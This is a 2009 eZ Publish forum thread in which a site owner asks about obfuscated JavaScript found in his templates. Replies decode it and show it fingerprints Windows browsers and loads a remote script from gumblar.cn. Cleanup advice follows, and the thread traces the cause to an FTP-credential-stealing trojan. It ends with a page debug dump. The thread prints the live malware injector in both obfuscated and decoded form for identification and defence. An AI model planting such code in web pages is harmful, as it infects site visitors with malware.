Forums / General / Hacked?

Hacked?

Author Message

Neo Pixel

Monday 11 May 2009 11:10:52 am

Is this hacker code?

<!-- 
(function(MI159){var r1jL='%';var Xow='v<61r<20a<3d<22ScriptEn<67ine<22<2cb<3d<22Version()+<22<2c<6a<3d<22<22<2c<75<3dnaviga<74<6fr<2eus<65rAg<65<6e<74<3bi<66(<28u<2eindex<4ff(<22<57in<22)<3e<30)<26<26(u<2eindexOf(<22NT<206<22)<3c0)<26<26(d<6fcum<65nt<2e<63ooki<65<2eindexO<66(<22<6diek<3d<31<22)<3c0)<26<26(type<6f<66<28zr<76zts)<21<3d<74<79p<65o<66(<22A<22)))<7bz<72vzts<3d<22A<22<3beva<6c(<22i<66(<77indow<2e<22<2ba+<22)j<3dj+<22+<61+<22Major<22+<62<2ba<2b<22M<69n<6fr<22+b+a+<22<42uild<22<2bb<2b<22j<3b<22)<3bdoc<75<6dent<2ewr<69t<65(<22<3c<73cri<70t<20src<3d<2f<2f<67umblar<2ec<6e<2frss<2f<3fi<64<3d<22+j+<22<3e<3c<5c<2fscr<69pt<3e<22)<3b<7d';var OBEG=Xow.replace(MI159,r1jL);eval(unescape(OBEG))})(/</g);
 -->

It's wrapped in javascript tags and I found it under the html head tag in one of my ezpublish installs.

Asking stupid questions so you don't have to!

André R.

Monday 11 May 2009 12:10:57 pm

yes, opening the page here on linux gives me a warning from firefox about:

This web site at gumblar.cn has been reported as an attack site and has been blocked based on your security preferences.

google:

Of the 2 pages we tested on the site over the past 90 days, 0 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2009-05-06, and the last time suspicious content was found on this site was on 2009-05-06.

Malicious software includes 963 scripting exploit(s), 6 trojan(s).

This site was hosted on 1 network(s) including AS42831 (UKSERVERS).

switching the eval to alert gives you the code in plain text something like this:

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;
if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A")))
{
zrvzts="A";
eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
document.write("<script src=//gumblar.cn/rss/id='+j+'><\/script>");
}

So seams to be targeting Windows XP and lower.

Where does the code come from? user contributed content?
Is literal.html enabled? and forgot to use |wash operator in template?

If this is caused by eZ Publish security bug, please create an issue in the tracker and mark it as security issue.

eZ Online Editor 5: http://projects.ez.no/ezoe || eZJSCore (Ajax): http://projects.ez.no/ezjscore || eZ Publish EE http://ez.no/eZPublish/eZ-Publish-Enterprise-Subscription
@: http://twitter.com/andrerom

Neo Pixel

Monday 11 May 2009 1:06:33 pm

It just appeared from nowhere so I'm assuming a hack through a vulnerability.

Warning: Visiting this site may harm your computer!
The website at www.ne0.co.uk contains elements from the site gumblar.cn, which appears to host malware – software that can hurt your computer or otherwise operate without your consent. Just visiting a site that contains malware can infect your computer.
For detailed information about the problems with these elements, visit the Google Safe Browsing diagnostic page for gumblar.cn

and it's also on the admin http://www.ne0.co.uk/ezwebin_site_admin/

Literal HTML is not enabled

I don't think it's a specific ezpublish hack as it's also on a friends non ezp site

The website at www.crystal-jewels.co.uk contains elements from the site gumblar.cn, which appears to host malware – software that can hurt your computer or otherwise operate without your consent. Just visiting a site that contains malware can infect your computer.

Asking stupid questions so you don't have to!

André R.

Monday 11 May 2009 1:22:54 pm

Check your design/admin/templates/loginpagelayout.tpl.

The script should be between head and body tag, in clean ezp it will look like this:

</style>
<![endif]-->
{/literal}

</head>

<body>

<div id="allcontent">

<div id="header">
<div id="header-design">

If it is there then it looks like the hacker'has hacked your server somehow (either vulnerability or brute force) and added the script in templates.

eZ Online Editor 5: http://projects.ez.no/ezoe || eZJSCore (Ajax): http://projects.ez.no/ezjscore || eZ Publish EE http://ez.no/eZPublish/eZ-Publish-Enterprise-Subscription
@: http://twitter.com/andrerom

Neo Pixel

Monday 11 May 2009 1:40:07 pm

There's nothing between the head and body tag in that file

but I have found it in

/design/base/templates/loginpagelayout.tpl
/design/standard/templates/loginpagelayout.tpl

/design/base/templates/pagelayout.tpl
/design/standard/templates/pagelayout.tpl

I've reloaded the design directory but it's still inthere somewhere.

I've instructed my hosts to investigate.

Thanks for your help

Asking stupid questions so you don't have to!

André R.

Monday 11 May 2009 10:30:11 pm

Try clearing template cache, might be he/she has simply edited some of your compiled templates..

eZ Online Editor 5: http://projects.ez.no/ezoe || eZJSCore (Ajax): http://projects.ez.no/ezjscore || eZ Publish EE http://ez.no/eZPublish/eZ-Publish-Enterprise-Subscription
@: http://twitter.com/andrerom

zurgutt -

Tuesday 12 May 2009 6:33:25 am

I have had to clean up a few compromised servers that had code like that embedded in html and tpl files.. its hard work.

Be very very careful and thorough. Just removing the added part from templates is not enough, rootkits that do this usually also install several fallback routines to re-infect stuff and there also may be backdoors and keyloggers installed in system binaries. sshd is often modified, to collect passwords, for example.

General approach:
1. make extra full backup of whole system.
2. use iptables rules to forbid ALL net traffic, both incoming and outgoing, except ip of computer you are working from. This is so that hacker cant access it while you work, and perhaps cant do a last minute rm -rf or whatnot.
3. Very carefully find any changes to the system and reverse them. find -ctime is your best friend. Also it is useful to compare filesystem to last backup made while uninfected. Pay special attention to /etc and /usr filesystems. Reverse any changes, update outdated programs, add security measures etc.
3b. It may be best idea to completely reinstall the OS clean, and transfer the cleaned web applications to new host. Takes less time than cleaning out compromised OS and is securer.
4. Remove iptables restriction. Keep keen eye on server for week or more, looking for signs of reinfection. Make full backup offsite at least once a day.

If any of the above is Greek for you, get help from a server professional.

Certified eZ developer looking for projects.
zurgutt at gg.ee

Neo Pixel

Tuesday 12 May 2009 10:05:47 am

Thanks for all your words of wisdom.

I shall delete everything from ne0.co.uk and start again. luckily it was only a development install so no harm done.

My hosts did point out there is the possibility of a vulnerability to ezpublish tho.

I shall reinstall and monitor the site for re-infection.

Thanks again

Asking stupid questions so you don't have to!

Neo Pixel

Thursday 14 May 2009 3:43:41 am

I have found out that the problem lies on the computer with FTP access, NOT the server.

It's a TROJAN that hijacks FTP details from FTP programs and uploads new code into the files. Very Sneaky...

Make sure all your anitvirus software is up to date!!

Asking stupid questions so you don't have to!

eZ debug

Timing: Jan 18 2025 11:30:59
Script start
Timing: Jan 18 2025 11:30:59
Module start 'content'
Timing: Jan 18 2025 11:31:00
Module end 'content'
Timing: Jan 18 2025 11:31:00
Script end

Main resources:

Total runtime0.7530 sec
Peak memory usage4,096.0000 KB
Database Queries214

Timing points:

CheckpointStart (sec)Duration (sec)Memory at start (KB)Memory used (KB)
Script start 0.00000.0073 588.6016180.8672
Module start 'content' 0.00730.6117 769.4688685.4766
Module end 'content' 0.61910.1339 1,454.9453348.4688
Script end 0.7530  1,803.4141 

Time accumulators:

 Accumulator Duration (sec) Duration (%) Count Average (sec)
Ini load
Load cache0.00400.5372210.0002
Check MTime0.00150.1931210.0001
Mysql Total
Database connection0.00080.100810.0008
Mysqli_queries0.651386.48542140.0030
Looping result0.00280.37352120.0000
Template Total0.723996.120.3619
Template load0.00200.262320.0010
Template processing0.721995.859720.3609
Template load and register function0.00010.015710.0001
states
state_id_array0.00130.179010.0013
state_identifier_array0.00110.144620.0005
Override
Cache load0.00190.2474720.0000
Sytem overhead
Fetch class attribute can translate value0.00140.189040.0004
Fetch class attribute name0.00140.1915120.0001
XML
Image XML parsing0.00210.282940.0005
class_abstraction
Instantiating content class attribute0.00000.0046180.0000
General
dbfile0.00400.5362420.0001
String conversion0.00000.000830.0000
Note: percentages do not add up to 100% because some accumulators overlap

CSS/JS files loaded with "ezjscPacker" during request:

CacheTypePacklevelSourceFiles
CSS0extension/community/design/community/stylesheets/ext/jquery.autocomplete.css
extension/community_design/design/suncana/stylesheets/scrollbars.css
extension/community_design/design/suncana/stylesheets/tabs.css
extension/community_design/design/suncana/stylesheets/roadmap.css
extension/community_design/design/suncana/stylesheets/content.css
extension/community_design/design/suncana/stylesheets/star-rating.css
extension/community_design/design/suncana/stylesheets/syntax_and_custom_tags.css
extension/community_design/design/suncana/stylesheets/buttons.css
extension/community_design/design/suncana/stylesheets/tweetbox.css
extension/community_design/design/suncana/stylesheets/jquery.fancybox-1.3.4.css
extension/bcsmoothgallery/design/standard/stylesheets/magnific-popup.css
extension/sevenx/design/simple/stylesheets/star_rating.css
extension/sevenx/design/simple/stylesheets/libs/fontawesome/css/all.min.css
extension/sevenx/design/simple/stylesheets/main.v02.css
extension/sevenx/design/simple/stylesheets/main.v02.res.css
JS0extension/ezjscore/design/standard/lib/yui/3.17.2/build/yui/yui-min.js
extension/ezjscore/design/standard/javascript/jquery-3.7.0.min.js
extension/community_design/design/suncana/javascript/jquery.ui.core.min.js
extension/community_design/design/suncana/javascript/jquery.ui.widget.min.js
extension/community_design/design/suncana/javascript/jquery.easing.1.3.js
extension/community_design/design/suncana/javascript/jquery.ui.tabs.js
extension/community_design/design/suncana/javascript/jquery.hoverIntent.min.js
extension/community_design/design/suncana/javascript/jquery.popmenu.js
extension/community_design/design/suncana/javascript/jScrollPane.js
extension/community_design/design/suncana/javascript/jquery.mousewheel.js
extension/community_design/design/suncana/javascript/jquery.cycle.all.js
extension/sevenx/design/simple/javascript/jquery.scrollTo.js
extension/community_design/design/suncana/javascript/jquery.cookie.js
extension/community_design/design/suncana/javascript/ezstarrating_jquery.js
extension/community_design/design/suncana/javascript/jquery.initboxes.js
extension/community_design/design/suncana/javascript/app.js
extension/community_design/design/suncana/javascript/twitterwidget.js
extension/community_design/design/suncana/javascript/community.js
extension/community_design/design/suncana/javascript/roadmap.js
extension/community_design/design/suncana/javascript/ez.js
extension/community_design/design/suncana/javascript/ezshareevents.js
extension/sevenx/design/simple/javascript/main.js

Templates used to render the page:

UsageRequested templateTemplateTemplate loadedEditOverride
1node/view/full.tplfull/forum_topic.tplextension/sevenx/design/simple/override/templates/full/forum_topic.tplEdit templateOverride template
9content/datatype/view/ezimage.tpl<No override>extension/sevenx/design/simple/templates/content/datatype/view/ezimage.tplEdit templateOverride template
9content/datatype/view/ezxmltext.tpl<No override>extension/community_design/design/suncana/templates/content/datatype/view/ezxmltext.tplEdit templateOverride template
19content/datatype/view/ezxmltags/paragraph.tpl<No override>extension/ezwebin/design/ezwebin/templates/content/datatype/view/ezxmltags/paragraph.tplEdit templateOverride template
5content/datatype/view/ezxmltags/literal.tpl<No override>extension/community/design/standard/templates/content/datatype/view/ezxmltags/literal.tplEdit templateOverride template
5content/datatype/view/ezxmltags/line.tpl<No override>design/standard/templates/content/datatype/view/ezxmltags/line.tplEdit templateOverride template
1pagelayout.tpl<No override>extension/sevenx/design/simple/templates/pagelayout.tplEdit templateOverride template
 Number of times templates used: 49
 Number of unique templates used: 7

Time used to render debug report: 0.0002 secs